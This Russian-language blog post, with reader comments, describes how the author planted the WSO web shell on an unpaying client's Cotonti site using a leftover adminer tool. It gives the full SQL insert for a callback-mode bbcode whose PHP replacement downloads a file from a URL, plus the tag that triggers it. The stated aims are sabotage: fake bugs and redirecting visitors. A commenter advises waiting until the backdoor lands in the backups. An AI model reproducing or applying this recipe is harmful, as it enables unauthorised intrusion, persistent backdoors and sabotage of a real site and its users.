Заливка WSO через adminer в CMS Cotonti

11.07.2015

Неприятная ситуация: попался недобросовестный заказчик, который после приема работы вместо оплаты сменил пароли и перестал отвечать в skype. У меня крайне редко такое бывает. Я честно делаю свою работу и люди честно оплачивают, но вот попался халявщик, я прождал значительное количество дней ожидая ответа, а ответа от него больше нет.
Сайт, с которым работали, на CMS Cotonti.
На официальном сайте системы написано что это мощный фреймворк и CMS с открытым исходным кодом, который сфокусирован на безопасности, скорости и гибкости.
В процессе работы я загружал на сервер adminer (инструмент для работы с mysql), поэтому доступ к БД у меня остался, но доступ к FTP закрыт. Если сайт просто испортить, то кидала может восстановить его из локальной резерврной копии. Хотелось бы через БД залить WSO, чтобы можно было обеспечить себе более широкую свободу воздействия, например добавить пару ошибок на сайт, как бы ранее не замеченных багов, или интегрировать скрипт, который будет выборочно перенаправлять пользователей на страницу 'не доверяйте этому сайту'.

Бегло взглянул на структуру БД и нашел то что мне понравилось. Плагин bbcode имеет таблицу с вв-кодами, в которой есть 2 интересныйх поля bbc_mode и bbc_replacement. bbc_mode может принимать значение callback, как я проверил в коде, действительно при таком значении вызывается функция preg_replace_callback, которая позволяет выполнять произвольный php код.
Осталось создать новый тег с полем bbc_replacement, которое выполняет нужный код.
Код замены у меня такой

@file_put_contents('index.back.php',@file_get_contents($input[1]));return 'test';

В панели управления есть функция правки-удаления ВВ-кодов /admin.php?m=other&p=bbcode&a=clearcache , но она нормально не работает то ли в целях безопасности, то ли из-за багов. Две кнопки: Обновить и Удалить. Редактирую, нажимаю Обновить - обновляется страница, изменения теряются. Кнопки сохранить нет, хотя в заголовке написано правка.
Раз есть adminer, в данном случае оказалось проще всего сделать запрос через него.
SQL запрос полностью:

INSERT INTO `flance_bbcode` (`bbc_name`, `bbc_mode`, `bbc_pattern`, `bbc_replacement`, `bbc_container`, `bbc_enabled`, `bbc_priority`, `bbc_plug`, `bbc_postrender`)
VALUES ('code_test', 4, '\\[code_test\\](.+?)\\[/code_test\\]', '@file_put_contents(\'index.back.php\',@file_get_contents($input[1]));return \'test\';', '1', '1', '1', '', '0');

После выполнения запроса достаточно применить ВВ-код

[code_test]URL[/code_test]

где-то в комментариях чтобы залить скрипт из URL. Комментарий будет отображаться как test.

Все получилось, файл успешно залит как index.back.php.


3 оценки
Комментарии
Sergunik:
Молодец.
Рекомендую не сразу ронять сайт, а подождать пока бекдор не попадет в бекапы.

P.S.: в этом блоге не хватает подсветки синтаксиса. Например для текста с SQL-скриптом.
Автор блога:
С этим блогом печально что за пять лет я не переделывал CMS и она очень простенькая по функционалу, вставить подсветку можно было вручную, но на этом посте я поленился, так как sql кода не так уж много)

Спасибо что читаете)

Может как-то соберусь и переделаю блог полностью)
Автор блога:
Вот и обновил сайт, теперь есть подсветка)

Оставить комментарий